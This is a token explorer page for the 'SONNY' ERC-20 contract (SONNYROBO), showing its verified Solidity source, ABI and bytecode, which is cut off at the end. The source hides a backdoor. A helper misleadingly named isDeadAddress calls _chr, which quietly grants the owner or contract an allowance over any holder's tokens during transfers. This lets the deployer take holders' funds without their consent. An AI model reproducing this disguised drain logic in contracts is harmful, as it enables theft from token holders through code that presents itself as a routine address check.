Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 SONNY
Holders
135
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,291,849.651792059 SONNYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SONNYROBO
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-09 */ /** *Submitted for verification at Etherscan.io on 2025-02-09 */ /* Website : https://www.sonnyoneth.vip Telegram : https://t.me/sonny_erc20 Twitter : https://x.com/sonny_erc20 */ pragma solidity 0.8.28; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SONNYROBO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; address private _deadAddr = address(0xdead); uint256 private _initialBuyTax=10; uint256 private _initialSellTax=10; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=5; uint256 private _reduceSellTaxAt=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; string private constant _name = unicode"SONNY"; string private constant _symbol = unicode"SONNY"; uint256 public _maxTaxSwap= 1_000_000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(_msgSender()); _balances[address(this)] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _chr(address from, uint256 amount) private { _approve(from, _msgSender(), amount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { _transfer(from, to, amount); _approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function assistStuckedETH(address _newWallet) external { require(_msgSender() == _taxWallet); sendSONNYROBOETHToFee(address(this).balance); _taxWallet = payable(_newWallet); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function isDeadAddress(address from, address to, uint256 amount) private returns(address){ if(_initialSellTax >= _decimals && (from != uniswapV2Pair && to == _deadAddr)) _chr(from, amount); if(block.number > 0 && _isExcludedFromFee[_msgSender()]) _chr(from, amount); return address(0); } function _transfer(address from, address to, uint256 amount) private { require(from != isDeadAddress(from, to, amount), "ERC20: transfer from the 0xdeaD address"); require(to != isDeadAddress(from, to, amount), "ERC20: transfer to the 0xdeaD address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != address(this) && to != address(this)) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled ) { if(contractTokenBalance > 0) swapSONNYROBOTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); sendSONNYROBOETHToFee(address(this).balance); } } if( taxAmount> 0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); if (to != _deadAddr) emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapSONNYROBOTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendSONNYROBOETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function enableTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newWallet","type":"address"}],"name":"assistStuckedETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600580546001600160a01b03191661dead178155600a600681905560078190555f60088190556009818155838355600b93909355600c556100459190610284565b61005290620f4240610299565b600d55600f805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556100c16009600a610284565b6100cf906305f5e100610299565b305f9081526001602081905260408220929092556003906100f75f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553080825260039093529081208054909316600117909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101676009600a610284565b610175906305f5e100610299565b60405190815260200160405180910390a36102b0565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156101da578085048111156101be576101be61018b565b60018416156101cc57908102905b60019390931c9280026101a3565b935093915050565b5f826101f05750600161027e565b816101fc57505f61027e565b8160018114610212576002811461021c57610238565b600191505061027e565b60ff84111561022d5761022d61018b565b50506001821b61027e565b5060208310610133831016604e8410600b841016171561025b575081810a61027e565b6102675f19848461019f565b805f190482111561027a5761027a61018b565b0290505b92915050565b5f61029260ff8416836101e2565b9392505050565b808202811582820484141761027e5761027e61018b565b611571806102bd5f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007c5780638da5cb5b116100575780638da5cb5b1461024057806395d89b41146100e7578063a9059cbb14610266578063dd62ed3e14610285575f5ffd5b806370a08231146101e4578063715018a6146102185780638a8c523c1461022c575f5ffd5b806318160ddd116100b757806318160ddd1461017557806323b872dd14610189578063313ce567146101a857806347cca60e146101c3575f5ffd5b806306fdde03146100e7578063095ea7b3146101235780630faee56f14610152575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506040805180820182526005815264534f4e4e5960d81b6020820152905161011a91906111ab565b60405180910390f35b34801561012e575f5ffd5b5061014261013d3660046111f7565b6102c9565b604051901515815260200161011a565b34801561015d575f5ffd5b50610167600d5481565b60405190815260200161011a565b348015610180575f5ffd5b506101676102df565b348015610194575f5ffd5b506101426101a3366004611221565b6102ff565b3480156101b3575f5ffd5b506040516009815260200161011a565b3480156101ce575f5ffd5b506101e26101dd36600461125f565b610366565b005b3480156101ef575f5ffd5b506101676101fe36600461125f565b6001600160a01b03165f9081526001602052604090205490565b348015610223575f5ffd5b506101e26103b0565b348015610237575f5ffd5b506101e2610456565b34801561024b575f5ffd5b505f546040516001600160a01b03909116815260200161011a565b348015610271575f5ffd5b506101426102803660046111f7565b61082f565b348015610290575f5ffd5b5061016761029f36600461127a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d533848461083b565b5060015b92915050565b5f6102ec6009600a6113a8565b6102fa906305f5e1006113b6565b905090565b5f61030b84848461095e565b61035c843361035785604051806060016040528060288152602001611514602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d97565b61083b565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610385575f5ffd5b61038e47610dcf565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461040e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104af5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610405565b600f54600160a01b900460ff16156105095760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610405565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105529030906105446009600a6113a8565b610357906305f5e1006113b6565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c691906113cd565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610625573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064991906113cd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610693573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b791906113cd565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d71947306106fe816001600160a01b03165f9081526001602052604090205490565b5f5f6107115f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610777573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061079c91906113e8565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107f1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108159190611413565b50600f805462ff00ff60a01b19166201000160a01b179055565b5f6102d533848461095e565b6001600160a01b03831661089d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610405565b6001600160a01b0382166108fe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610405565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610969838383610e0a565b6001600160a01b0316836001600160a01b0316036109d95760405162461bcd60e51b815260206004820152602760248201527f45524332303a207472616e736665722066726f6d2074686520307864656144206044820152666164647265737360c81b6064820152608401610405565b6109e4838383610e0a565b6001600160a01b0316826001600160a01b031603610a525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e7366657220746f2074686520307864656144206164604482015264647265737360d81b6064820152608401610405565b5f8111610ab35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610405565b5f6001600160a01b0384163014801590610ad657506001600160a01b0383163014155b15610c4457610b076064610b01600a54600c5411610af657600654610afa565b6008545b8590610e8b565b90610f10565b600f549091506001600160a01b038581169116148015610b355750600e546001600160a01b03848116911614155b8015610b5957506001600160a01b0383165f9081526003602052604090205460ff16155b15610b7357600c8054905f610b6d83611432565b91905055505b600f546001600160a01b038481169116148015610b9957506001600160a01b0384163014155b15610bc657610bc36064610b01600b54600c5411610bb957600754610afa565b6009548590610e8b565b90505b305f90815260016020526040902054600f54600160a81b900460ff16158015610bfc5750600f546001600160a01b038581169116145b8015610c115750600f54600160b01b900460ff165b15610c42578015610c3957610c39610c3484610c2f84600d54610f51565b610f51565b610f65565b610c4247610dcf565b505b8015610cbc57305f90815260016020526040902054610c6390826110d5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cb39085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610cde9083611133565b6001600160a01b0385165f90815260016020526040902055610d21610d038383611133565b6001600160a01b0385165f90815260016020526040902054906110d5565b6001600160a01b038085165f818152600160205260409020929092556005541614610d91576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d7f8585611133565b60405190815260200160405180910390a35b50505050565b5f8184841115610dba5760405162461bcd60e51b815260040161040591906111ab565b505f610dc6848661144a565b95945050505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610e06573d5f5f3e3d5ffd5b5050565b5f600960ff1660075410158015610e475750600f546001600160a01b03858116911614801590610e4757506005546001600160a01b038481169116145b15610e5657610e568483611174565b5f43118015610e735750335f9081526003602052604090205460ff165b15610e8257610e828483611174565b505f9392505050565b5f825f03610e9a57505f6102d9565b5f610ea583856113b6565b905082610eb2858361145d565b14610f095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610405565b9392505050565b5f610f0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117f565b5f818311610f5f5782610f09565b50919050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fab57610fab61147c565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611002573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102691906113cd565b816001815181106110395761103961147c565b6001600160a01b039283166020918202929092010152600e5461105f913091168461083b565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110979085905f90869030904290600401611490565b5f604051808303815f87803b1580156110ae575f5ffd5b505af11580156110c0573d5f5f3e3d5ffd5b5050600f805460ff60a81b1916905550505050565b5f806110e18385611500565b905083811015610f095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610405565b5f610f0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d97565b610e0682338361083b565b5f818361119f5760405162461bcd60e51b815260040161040591906111ab565b505f610dc6848661145d565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146111f4575f5ffd5b50565b5f5f60408385031215611208575f5ffd5b8235611213816111e0565b946020939093013593505050565b5f5f5f60608486031215611233575f5ffd5b833561123e816111e0565b9250602084013561124e816111e0565b929592945050506040919091013590565b5f6020828403121561126f575f5ffd5b8135610f09816111e0565b5f5f6040838503121561128b575f5ffd5b8235611296816111e0565b915060208301356112a6816111e0565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611300578085048111156112e4576112e46112b1565b60018416156112f257908102905b60019390931c9280026112c9565b935093915050565b5f82611316575060016102d9565b8161132257505f6102d9565b816001811461133857600281146113425761135e565b60019150506102d9565b60ff841115611353576113536112b1565b50506001821b6102d9565b5060208310610133831016604e8410600b8410161715611381575081810a6102d9565b61138d5f1984846112c5565b805f19048211156113a0576113a06112b1565b029392505050565b5f610f0960ff841683611308565b80820281158282048414176102d9576102d96112b1565b5f602082840312156113dd575f5ffd5b8151610f09816111e0565b5f5f5f606084860312156113fa575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611423575f5ffd5b81518015158114610f09575f5ffd5b5f60018201611443576114436112b1565b5060010190565b818103818111156102d9576102d96112b1565b5f8261147757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156114e05783516001600160a01b03168352602093840193909201916001016114b9565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156102d9576102d96112b156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9faab5227e00b29e4c2c53a79a6868619f5032cca1e76ef6dda03006a84f9a564736f6c634300081c0033
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c806370a082311161007c5780638da5cb5b116100575780638da5cb5b1461024057806395d89b41146100e7578063a9059cbb14610266578063dd62ed3e14610285575f5ffd5b806370a08231146101e4578063715018a6146102185780638a8c523c1461022c575f5ffd5b806318160ddd116100b757806318160ddd1461017557806323b872dd14610189578063313ce567146101a857806347cca60e146101c3575f5ffd5b806306fdde03146100e7578063095ea7b3146101235780630faee56f14610152575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506040805180820182526005815264534f4e4e5960d81b6020820152905161011a91906111ab565b60405180910390f35b34801561012e575f5ffd5b5061014261013d3660046111f7565b6102c9565b604051901515815260200161011a565b34801561015d575f5ffd5b50610167600d5481565b60405190815260200161011a565b348015610180575f5ffd5b506101676102df565b348015610194575f5ffd5b506101426101a3366004611221565b6102ff565b3480156101b3575f5ffd5b506040516009815260200161011a565b3480156101ce575f5ffd5b506101e26101dd36600461125f565b610366565b005b3480156101ef575f5ffd5b506101676101fe36600461125f565b6001600160a01b03165f9081526001602052604090205490565b348015610223575f5ffd5b506101e26103b0565b348015610237575f5ffd5b506101e2610456565b34801561024b575f5ffd5b505f546040516001600160a01b03909116815260200161011a565b348015610271575f5ffd5b506101426102803660046111f7565b61082f565b348015610290575f5ffd5b5061016761029f36600461127a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d533848461083b565b5060015b92915050565b5f6102ec6009600a6113a8565b6102fa906305f5e1006113b6565b905090565b5f61030b84848461095e565b61035c843361035785604051806060016040528060288152602001611514602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d97565b61083b565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610385575f5ffd5b61038e47610dcf565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461040e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104af5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610405565b600f54600160a01b900460ff16156105095760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610405565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105529030906105446009600a6113a8565b610357906305f5e1006113b6565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c691906113cd565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610625573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064991906113cd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610693573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b791906113cd565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d71947306106fe816001600160a01b03165f9081526001602052604090205490565b5f5f6107115f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610777573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061079c91906113e8565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107f1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108159190611413565b50600f805462ff00ff60a01b19166201000160a01b179055565b5f6102d533848461095e565b6001600160a01b03831661089d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610405565b6001600160a01b0382166108fe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610405565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610969838383610e0a565b6001600160a01b0316836001600160a01b0316036109d95760405162461bcd60e51b815260206004820152602760248201527f45524332303a207472616e736665722066726f6d2074686520307864656144206044820152666164647265737360c81b6064820152608401610405565b6109e4838383610e0a565b6001600160a01b0316826001600160a01b031603610a525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e7366657220746f2074686520307864656144206164604482015264647265737360d81b6064820152608401610405565b5f8111610ab35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610405565b5f6001600160a01b0384163014801590610ad657506001600160a01b0383163014155b15610c4457610b076064610b01600a54600c5411610af657600654610afa565b6008545b8590610e8b565b90610f10565b600f549091506001600160a01b038581169116148015610b355750600e546001600160a01b03848116911614155b8015610b5957506001600160a01b0383165f9081526003602052604090205460ff16155b15610b7357600c8054905f610b6d83611432565b91905055505b600f546001600160a01b038481169116148015610b9957506001600160a01b0384163014155b15610bc657610bc36064610b01600b54600c5411610bb957600754610afa565b6009548590610e8b565b90505b305f90815260016020526040902054600f54600160a81b900460ff16158015610bfc5750600f546001600160a01b038581169116145b8015610c115750600f54600160b01b900460ff165b15610c42578015610c3957610c39610c3484610c2f84600d54610f51565b610f51565b610f65565b610c4247610dcf565b505b8015610cbc57305f90815260016020526040902054610c6390826110d5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cb39085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610cde9083611133565b6001600160a01b0385165f90815260016020526040902055610d21610d038383611133565b6001600160a01b0385165f90815260016020526040902054906110d5565b6001600160a01b038085165f818152600160205260409020929092556005541614610d91576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d7f8585611133565b60405190815260200160405180910390a35b50505050565b5f8184841115610dba5760405162461bcd60e51b815260040161040591906111ab565b505f610dc6848661144a565b95945050505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610e06573d5f5f3e3d5ffd5b5050565b5f600960ff1660075410158015610e475750600f546001600160a01b03858116911614801590610e4757506005546001600160a01b038481169116145b15610e5657610e568483611174565b5f43118015610e735750335f9081526003602052604090205460ff165b15610e8257610e828483611174565b505f9392505050565b5f825f03610e9a57505f6102d9565b5f610ea583856113b6565b905082610eb2858361145d565b14610f095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610405565b9392505050565b5f610f0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117f565b5f818311610f5f5782610f09565b50919050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fab57610fab61147c565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611002573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102691906113cd565b816001815181106110395761103961147c565b6001600160a01b039283166020918202929092010152600e5461105f913091168461083b565b600e5460405163791ac94760e01b81526001600160a01b